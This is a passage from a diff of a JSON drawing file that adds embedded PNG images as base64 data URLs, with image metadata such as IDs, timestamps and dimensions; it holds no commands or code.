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", + "created": 1719058266743, + "size": { + "height": 568, + "width": 2153 + }, + "hasSVGwithBitmap": false, + "shouldScale": true + }, + "6f0c1d15a4307284c7d2228b2489fc62b2937aa1": { + "mimeType": "image/png", + "id": "6f0c1d15a4307284c7d2228b2489fc62b2937aa1", + "dataURL": "data:image/png;base64,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